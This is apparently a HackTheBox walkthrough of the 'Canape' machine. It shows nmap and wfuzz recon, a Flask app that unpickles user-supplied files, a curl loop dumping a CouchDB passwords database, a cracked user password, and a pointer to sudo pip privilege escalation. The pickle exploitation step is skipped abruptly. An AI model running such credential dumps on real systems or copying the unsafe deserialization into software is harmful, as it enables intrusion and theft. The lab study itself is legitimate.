This is a medium difficulty Linux machine from HackTheBox created by overcast. In this scenario, my IP is 10.10.14.36 and the target’s IP is 10.129.177.254
The use of a file (.git) with the default name, makes the site easy to find by using Nmap scripts, this machine requires a basic understanding of Python and Burpsuite to get the parameters.
Recon
This step is always the same, you must ping the machine to see if is alive, and then use Nmap to scan all the ports to avoid surprises.
Local Terminal
$ ping -c 1 10.129.177.254
Pinging 10.129.177.254 with 32 bytes of data:
Reply from 10.129.177.254: bytes=32 time=175ms TTL=63
Reply from 10.129.177.254: bytes=32 time=158ms TTL=63
Reply from 10.129.177.254: bytes=32 time=186ms TTL=63
Reply from 10.129.177.254: bytes=32 time=164ms TTL=63
Ping statistics for 10.129.177.254:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 158ms, Maximum = 186ms, Average = 170ms
Local Terminal
$ nmap -p- --open -sS --min-rate 5000 -vvv -n 10.129.177.254 -oN Ports
Nmap scan report for 10.129.177.254
Host is up, received echo-reply ttl 63 (0.40s latency).
Scanned at 2023-06-05 10:02:24 Pacific SA Standard Time for 28s
Not shown: 65533 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 63
65535/tcp open unknown syn-ack ttl 63
Read data files from: C:\Program Files (x86)\Nmap
Nmap done: 1 IP address (1 host up) scanned in 28.88 seconds
Raw packets sent: 131089 (5.768MB) | Rcvd: 77 (3.372KB)
Local Terminal
$ nmap -sCV -p 80,65535 10.129.177.254 -oN Target
Nmap scan report for 10.129.177.254
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-git:
| 10.129.177.254:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Last commit message: final # Please enter the commit message for your changes. Li...
| Remotes:
|_ http://git.canape.htb/simpsons.git
|_http-title: Simpsons Fan Site
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-server-header: Apache/2.4.18 (Ubuntu)
65535/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8d:82:0b:31:90:e4:c8:85:b2:53:8b:a1:7c:3b:65:e1 (RSA)
| 256 22:fc:6e:c3:55:00:85:0f:24:bf:f5:79:6c:92:8b:68 (ECDSA)
|_ 256 0d:91:27:51:80:5e:2b:a3:81:0d:e9:d8:5c:9b:77:35 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.129.177.254/FUZZ
Total requests: 220546
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000171: 200 81 L 167 W 2836 Ch "submit"
000000255: 301 9 L 28 W 317 Ch "static"
000000673: 200 85 L 227 W 3150 Ch "quotes"
000001314: 405 4 L 23 W 178 Ch "check"
000095510: 403 11 L 32 W 302 Ch "server-status"
The result when exploring each site:
/submit Submit page, it has some fillable text box.
/static JS & CSS
/quotes Quotes list page, nothing.
/check Method not accepted
/server-status Forbidden
Testing
Now, the only thing that we can do, is to test many payloads.
Local Terminal
python3 -m http.server 80
Browser: http://10.129.177.254/submit
The character text box is restringed to a list of names, the Quote box is more flexible.
Local Terminal
git clone http://git.canape.htb/simpsons.git
Local Terminal
batcat __init__.py
import couchdb
import string
import random
import base64
import cPickle # Usually cPickle is vulnerable
from flask import Flask, render_template, request
from hashlib import md5
app = Flask(__name__)
app.config.update(
DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]
# Aditional information: DB > http://localhost:5984/
@app.errorhandler(404)
def page_not_found(e):
if random.randrange(0, 2) > 0:
return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
else:
return render_template("index.html")
@app.route("/")
def index():
return render_template("index.html")
R
@app.route("/quotes")
def quotes():
quotes = []
for id in db:
quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
return render_template('quotes.html', entries=quotes)
WHITELIST = [
"homer",
"marge",
"bart",
"lisa",
"maggie",
"moe",
"carl",
"krusty"
]
@app.route("/submit", methods=["GET", "POST"])
def submit():
error = None
success = None
if request.method == "POST":
try:
char = request.form["character"]
quote = request.form["quote"]
if not char or not quote:
error = True
elif not any(c.lower() in char.lower() for c in WHITELIST):
# It uses "MATCH", so something like asdasdHomerasdasd will work
error = True
else:
# TODO - Pickle into dictionary instead, `check` is ready
p_id = md5(char + quote).hexdigest() # ID = MD5 of char+quote
outfile = open("/tmp/" + p_id + ".p", "wb")
outfile.write(char + quote)
outfile.close()
success = True
except Exception as ex:
error = True
return render_template("submit.html", error=error, success=success)
@app.route("/check", methods=["POST"])
def check():
path = "/tmp/" + request.form["id"] + ".p"
data = open(path, "rb").read()
if "p1" in data:
item = cPickle.loads(data)
else:
item = data
return "Still reviewing: " + item
if __name__ == "__main__":
app.run()
for id in $(curl -s http://tartox:tartox@localhost:5984/passwords/_all_docs | grep -oP '".*?"' | grep "73" | sort -u | tr -d '"'); do echo -e "\n [+] Testing: \n"; curl -s http://tartox:tartox@localhost:5984/passwords/$id; done
Thanks S4vitar for this class, soon I will do it by myself.
Now we know 4 users and 4 password to test, after trying, the correct one is:
Target Terminal [www-data]
$ su homer # password: 0B4jyA0xtytZi7esBNGp
$ cat /home/homer/user.txt
e3aeb9c50c15ff651284588bdcf14064
Privilege Scalation [Root]
Now we have to find a way to escalate.
Target Terminal [www-data]
$ id
uid=1000(homer) gid=1000(homer) groups=1000(homer)
$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User homer may run the following commands on canape:
(root) /usr/bin/pip install *
That was easy, at GTFOBins you can find the steps to scalate through pip.